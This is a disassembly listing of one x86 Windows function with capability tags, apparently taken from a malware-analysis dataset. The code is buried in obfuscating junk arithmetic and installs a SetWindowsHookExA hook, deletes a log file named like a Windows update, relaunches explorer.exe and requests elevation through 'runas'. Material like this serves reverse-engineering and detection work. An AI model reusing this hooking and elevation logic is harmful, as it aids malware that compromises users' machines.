Function at 0x40d620
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.004298f0
mov eax, dword [0x456fc0]
mov dword [esp + 0x1068], eax
push ebx
push esi
mov esi, dword [0x45569c]
mov ecx, dword [0x4556a8]
push edi
mov edi, dword [0x45568c]
mov eax, edi
imul eax, eax, 0x6e7be
mov dword [esp + 0x10], eax
mov eax, 0x948af151
imul esi
add edx, esi
sar edx, 0x13
mov ebx, ecx
imul ebx, ebx, 0xcecf4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3b1784cb
imul dword [0x455694]
sar edx, 0x11
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
mov ebx, dword [0x455690]
mov eax, 0xcccc28f7
imul ebx
add edx, ebx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub esi, eax
mov eax, dword [ebp + 8]
add esi, edx
cmp eax, 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], esi
je 0x40d74f
mov esi, dword [0x455688]
imul ecx, ecx, 0xa0008
mov eax, 0x57ab2ce3
imul esi, esi, 0x5715a
imul ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45569c]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
sub esi, dword [0x4556a0]
sub esi, 0x205c4
mov dword [0x455690], esi
mov esi, 0x64
lea ecx, [ecx]
push 0x3e8
call edi
dec esi
jne 0x40d730
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042909d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x1784740b
imul edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0xdc98b
sub edx, eax
mov eax, edi
imul eax, eax, 0x8a933
add edx, eax
mov esi, edx
mov edx, dword [0x455694]
mov eax, edx
imul eax, eax, 0x205c4
add esi, eax
mov eax, 0xcccc28f7
imul edx
add edx, dword [0x455694]
mov eax, esi
sar edx, 0x13
mov esi, edx
add eax, edx
shr esi, 0x1f
add esi, eax
mov eax, dword [section.Hook_Dat]
test eax, eax
mov dword [0x45569c], esi
je 0x40d81e
mov ecx, dword [0x4556a4]
imul ebx, ebx, 0x205c4
mov edi, dword [0x4556a0]
mov eax, 0x1784740b
imul edi, edi, 0xfff23675
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3b1db3af
imul esi
sar edx, 0x11
sub edi, ecx
mov ecx, dword [0x455688]
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
sub eax, ebx
add eax, edx
add ecx, eax
mov dword [0x455688], ecx
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042909d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x455698]
imul eax, eax, 0x5715a
mov dword [esp + 0xc], eax
mov eax, 0x30f1b28f
imul esi
mov esi, dword [esp + 0x10]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x8aa1b
add edx, esi
add eax, edx
mov edx, dword [0x4556a4]
lea eax, [eax + edx - 0x205c4]
mov dword [0x455694], eax
lea esp, [esp]
mov eax, dword [0x455698]
imul eax, eax, 0x64985
mov dword [esp + 0xc], eax
mov eax, 0xa854d31d
imul edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0xbae2b
mov esi, eax
mov eax, dword [esp + 0xc]
sub esi, eax
mov eax, dword [ebp + 0x10]
add esi, edx
test eax, eax
mov dword [0x4556a0], esi
jg 0x40d9bc
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40d9bc
lea edx, [eax + 1]
mov dword [esp + 0xc], edx
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40d8d0
sub eax, dword [esp + 0xc]
mov dword [esp + 0xc], eax
je 0x40d9bc
imul ecx, ecx, 0xcecf4
imul esi, esi, 0x6e7be
mov eax, 0x30f1b28f
imul edi
sub esi, ecx
sar edx, 0x10
mov ecx, edx
add esi, edx
mov eax, 0x3b1784cb
imul ebx
shr ecx, 0x1f
sar edx, 0x11
add ecx, esi
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
sub eax, dword [0x455694]
mov ecx, dword [ebp + 0x14]
push ecx
add eax, 0xbae2b
push 0
mov dword [0x45568c], eax
call fcn.0040b620
add esp, 8
test eax, eax
mov dword [esp + 0x10], eax
jle 0x40e263
mov esi, dword [0x45569c]
mov ebx, dword [0x455688]
mov edi, dword [0x45568c]
imul ebx, ebx, 0x53aff
mov eax, 0x948af151
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3b1784cb
imul edi
mov ecx, esi
imul ecx, ecx, 0x8aa1b
sar edx, 0x11
add ebx, ecx
mov ecx, dword [0x4556a4]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x4556a8]
mov dword [0x4556a4], ebx
mov ebx, dword [0x455690]
jmp 0x40da15
mov eax, ebx
imul esi, esi, 0xaafdf
imul eax, eax, 0x6e7be
mov dword [esp + 0xc], eax
mov eax, 0x30f1b28f
imul dword [0x455698]
mov eax, dword [esp + 0xc]
sar edx, 0x10
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x3b1db3af
imul dword [str._r_____r____]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
sub ecx, esi
mov esi, dword [0x45569c]
add eax, edx
mov edx, dword [ebp + 0x10]
sub ecx, eax
mov dword [0x4556a8], ecx
mov dword [esp + 0x10], edx
mov eax, 0x948af151
imul ecx, ecx, 0xcecf4
imul edi, edi, 0x6e7be
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, edi
sub ecx, eax
mov eax, 0x3b1784cb
imul dword [0x455694]
sar edx, 0x11
add ecx, edx
mov esi, edx
mov eax, 0xcccc28f7
imul ebx
add edx, ebx
shr esi, 0x1f
add esi, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
push str.c:windowsKB978978.log
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x4556a4]
mov esi, dword [0x4556a0]
mov eax, 0x1784740b
imul esi, esi, 0xfff23675
imul ecx
mov ecx, dword [0x45569c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b1db3af
imul ecx
mov eax, dword [esp + 0x10]
sar edx, 0x11
add esi, edx
mov ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x205c4
shr ecx, 0x1f
add ecx, esi
mov esi, dword [str._r_____r____]
sub ecx, edx
mov edx, dword [0x455688]
add ecx, esi
add edx, ecx
mov ecx, dword [0x56947c]
push eax
push ecx
mov dword [0x455688], edx
mov edx, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push edx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.Hook_Dat], eax
je 0x40e2e3
mov edx, dword [0x455690]
mov ecx, dword [0x455688]
mov edi, dword [0x4556a8]
mov ebx, dword [0x45569c]
mov eax, 0x57ab2ce3
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, ecx
imul esi, esi, 0x5715a
mov edx, edi
imul edx, edx, 0xa0008
sub esi, eax
add esi, edx
mov eax, 0xcccc28f7
imul ebx
add edx, ebx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub esi, eax
sub esi, edx
sub esi, 0x205c4
mov dword [0x569480], 1
mov dword [esp + 0x10], 0
jmp 0x40db90
mov esi, dword [0x455690]
mov ebx, dword [0x45569c]
mov edi, dword [0x4556a8]
mov ecx, dword [0x455688]
jmp 0x40db90
mov eax, 0x57ab2ce3
imul ecx, ecx, 0x5715a
imul edi, edi, 0xa0008
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xcccc28f7
imul ebx
add edx, ebx
sar edx, 0x13
mov eax, edx
add ecx, edi
mov edi, dword [0x4556a0]
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
sub ecx, 0x205c4
push str.c:windowsKB978978.log
mov dword [0x455690], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x40dc06
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x10], eax
jl 0x40db73
mov ecx, dword [0x455698]
mov eax, 0x9e71fdc9
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4556a8]
mov eax, 0x944b09c1
imul ecx
mov esi, dword [0x455694]
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x53aff
sub edi, eax
add edi, edx
mov eax, 0x3b1784cb
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x205c4
sub edi, eax
mov eax, dword [esp + 0x10]
sub edi, edx
cmp eax, 0x12c
mov dword [0x455698], edi
jl 0x40e356
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x40e356
mov ecx, dword [0x45568c]
mov edi, dword [0x455690]
mov eax, 0x1784740b
imul edi, edi, 0xdc98b
imul ecx
imul ecx, ecx, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov eax, 0xcccc28f7
imul esi
mov ecx, esi
imul ecx, ecx, 0x205c4
add edx, esi
sar edx, 0x13
add edi, ecx
mov eax, edx
shr eax, 0x1f
add edi, edx
push 0x800
lea ecx, [esp + 0x74]
add eax, edi
push ecx
mov dword [0x45569c], eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45568c]
mov esi, dword [0x455698]
mov eax, 0xa854d31d
imul esi, esi, 0x64985
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x12
imul ecx, ecx, 0xbae2b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
add eax, ecx
lea edx, [esp + 0x70]
push edx
mov dword [0x4556a0], eax
lea eax, [esp + 0x874]
push str._sexplorer.exe
push eax
call fcn.004297ca
lea ecx, [esp + 0x87c]
push 0
push ecx
call fcn.004295bd
add esp, 0x14
cmp eax, 0xffffffff
je 0x40e208
mov ecx, dword [0x45569c]
mov esi, dword [0x455688]
mov eax, 0x948af151
imul esi, esi, 0x53aff
imul ecx
add edx, ecx
imul ecx, ecx, 0x8aa1b
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push str.explorer.exe
mov dword [0x4556a4], esi
call fcn.00405440
mov ecx, dword [0x455698]
mov edi, dword [0x455690]
mov eax, 0x30f1b28f
imul ecx
mov esi, edi
imul esi, esi, 0x6e7be
sar edx, 0x10
add esi, edx
mov ecx, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0xaafdf
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
mov edx, dword [str._r_____r____]
mov eax, 0x3b1db3af
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 4
sub ecx, eax
mov dword [0x4556a8], ecx
mov dword [esp + 0x10], 5
jmp 0x40de41
mov edi, dword [0x455690]
mov ecx, dword [0x4556a8]
mov edx, dword [0x45568c]
imul ecx, ecx, 0xcecf4
mov esi, dword [0x45569c]
imul edx, edx, 0x6e7be
add ecx, edx
mov eax, 0x948af151
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455694]
sub ecx, eax
mov eax, 0x3b1784cb
imul edx
sar edx, 0x11
add ecx, edx
mov esi, edx
mov eax, 0xcccc28f7
imul edi
add edx, edi
shr esi, 0x1f
add esi, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
push str.explorer.exe
mov dword [str._r_____r____], esi
call fcn.00404f70
add esp, 4
test eax, eax
jg 0x40e18a
mov ecx, dword [0x4556a4]
mov ebx, dword [0x4556a0]
mov eax, 0x1784740b
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, ebx
imul ecx, ecx, 0xfff23675
sub ecx, eax
mov eax, 0x3b1db3af
imul dword [0x45569c]
sar edx, 0x11
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x455690]
mov edx, dword [str._r_____r____]
imul ecx, ecx, 0x205c4
mov esi, dword [0x455688]
sub eax, ecx
add eax, edx
add esi, eax
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4556a8]
mov edx, ecx
imul ecx, ecx, 0xa0008
imul edx, edx, 0xcecf4
mov edi, ebx
imul edi, edi, 0x6e7be
sub edi, edx
mov edx, dword [0x45568c]
mov eax, 0x30f1b28f
imul edx
sar edx, 0x10
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x3b1784cb
imul dword [0x455690]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, dword [0x455694]
add eax, 0xbae2b
mov dword [0x45568c], eax
mov eax, 0x57ab2ce3
imul dword [0x455690]
mov dword [0x455688], esi
imul esi, esi, 0x5715a
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
sub esi, ebx
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
sub esi, 0x205c4
lea edx, [esp + 0x60]
push edx
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x78]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x890]
push edx
push 0
mov dword [0x455690], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40e06c
mov esi, dword [0x45568c]
mov edi, dword [0x455698]
mov ecx, dword [0x45569c]
imul edi, edi, 0x5715a
mov eax, esi
imul eax, eax, 0x6e7be
add edi, eax
mov eax, 0x30f1b28f
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x8aa1b
sub edi, eax
add edi, dword [0x4556a4]
lea eax, [edx + edi - 0x205c4]
mov dword [0x455694], eax
jmp 0x40e196
mov ecx, dword [0x455698]
mov eax, 0x9e71fdc9
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4556a8]
mov eax, 0x944b09c1
imul ecx
add edx, ecx
imul ecx, ecx, 0x205c4
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x53aff
sub esi, eax
add esi, edx
mov edx, dword [0x455694]
mov eax, 0x3b1784cb
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
push 1
sub esi, eax
sub esi, ecx
lea ecx, [esp + 0x74]
push ecx
push 0
lea edx, [esp + 0x87c]
push edx
push str.runas
push 0
mov dword [0x455698], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x45568c]
jg 0x40e156
mov edi, dword [0x455690]
mov eax, 0x1784740b
imul edi, edi, 0xdc98b
imul esi
sar edx, 0xf
mov eax, edx
mov ecx, esi
imul ecx, ecx, 0x8a933
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x455694]
mov edx, ecx
imul edx, edx, 0x205c4
add edi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov dword [0x45569c], ecx
jmp 0x40e196
mov ecx, dword [0x455698]
mov eax, 0xa854d31d
imul ecx, ecx, 0x64985
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [str._r_____r____]
imul ecx, ecx, 0xbae2b
add eax, ecx
mov dword [0x4556a0], eax
jmp 0x40e190
mov esi, dword [0x45568c]
mov ecx, dword [0x45569c]
mov edi, dword [0x455688]
mov eax, 0x948af151
imul edi, edi, 0x53aff
imul ecx
add edx, ecx
imul ecx, ecx, 0x8aa1b
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b1784cb
imul esi
add edi, ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0x3e8
mov dword [0x4556a4], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x40de35
mov ebx, dword [0x455690]
mov eax, 0x30f1b28f
imul dword [0x455698]
mov esi, ebx
imul esi, esi, 0x6e7be
sar edx, 0x10
add esi, edx
mov ecx, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0xaafdf
mov edi, dword [0x45568c]
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
mov eax, 0x3b1db3af
imul dword [str._r_____r____]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x4556a8], ecx
jmp 0x40d870
mov ecx, dword [0x455698]
mov eax, 0x9e71fdc9
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4556a8]
mov eax, 0x944b09c1
imul ecx
add edx, ecx
imul ecx, ecx, 0x205c4
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x53aff
sub esi, eax
add esi, edx
mov edx, dword [0x455694]
mov eax, 0x3b1784cb
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov dword [0x455698], esi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042909d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4556a8]
mov esi, dword [0x4556a0]
imul ecx, ecx, 0xcecf4
imul esi, esi, 0x6e7be
sub esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x10
add esi, edx
mov edi, edx
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
shr edi, 0x1f
add edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455694]
add eax, edi
sub eax, edx
add eax, 0xbae2b
mov dword [0x45568c], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042909d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45568c]
imul ecx, ecx, 0xcecf4
mov edi, dword [0x45569c]
imul edx, edx, 0x6e7be
add ecx, edx
mov eax, 0x948af151
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3b1784cb
imul esi
sar edx, 0x11
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x455690]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [esp + 0x1074]
mov dword [str._r_____r____], esi
mov eax, 1
call fcn.0042909d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret